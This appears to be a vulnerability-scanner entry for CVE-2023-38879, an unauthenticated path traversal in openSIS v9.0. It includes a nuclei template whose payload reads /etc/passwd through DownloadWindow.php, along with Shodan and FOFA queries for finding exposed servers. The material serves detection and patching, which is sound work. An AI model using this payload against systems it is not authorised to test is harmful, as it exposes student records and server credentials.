openSIS v9.0 - Path Traversal

highseverity

7.5CVSS score

3.6%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

A path traversal vulnerability exists in openSIS Classic Community Edition v9.0 via the 'filename' parameter in DownloadWindow.php. An unauthenticated remote attacker can exploit this to read arbitrary files on the server by manipulating file paths.

Impact

Unauthenticated attackers can read arbitrary files from the server by manipulating the filename parameter in DownloadWindow.php, potentially exposing student records, staff information, and database credentials.

Fix

Update openSIS to a version newer than 9.0 that validates file paths in DownloadWindow.php and restricts file access to authorized directories only.

How to confirm it

Send: GET {{BaseURL}}/DownloadWindow.php?filename=../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND contains in header "filename=" and "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-38879 -u <target>

The full check

id: CVE-2023-38879

info:
  name: openSIS v9.0 - Path Traversal
  author: haliteroglu
  severity: high
  description: |
    A path traversal vulnerability exists in openSIS Classic Community Edition v9.0 via the 'filename' parameter in DownloadWindow.php. An unauthenticated remote attacker can exploit this to read arbitrary files on the server by manipulating file paths.
  impact: |
    Unauthenticated attackers can read arbitrary files from the server by manipulating the filename parameter in DownloadWindow.php, potentially exposing student records, staff information, and database credentials.
  remediation: |
    Update openSIS to a version newer than 9.0 that validates file paths in DownloadWindow.php and restricts file access to authorized directories only.
  reference:
    - https://github.com/dub-flow/vulnerability-research/tree/main/CVE-2023-38879
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38879
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-38879
    cwe-id: CWE-22
    epss-score: 0.03633
    epss-percentile: 0.89641
    cpe: cpe:2.3:a:os4ed:opensis:9.0:*:*:*:community:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: os4ed
    product: opensis
    shodan-query: title:"openSIS"
    fofa-query: title="openSIS"
  tags: cve,cve2023,opensis,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/DownloadWindow.php?filename=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "filename="
          - "text/html"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from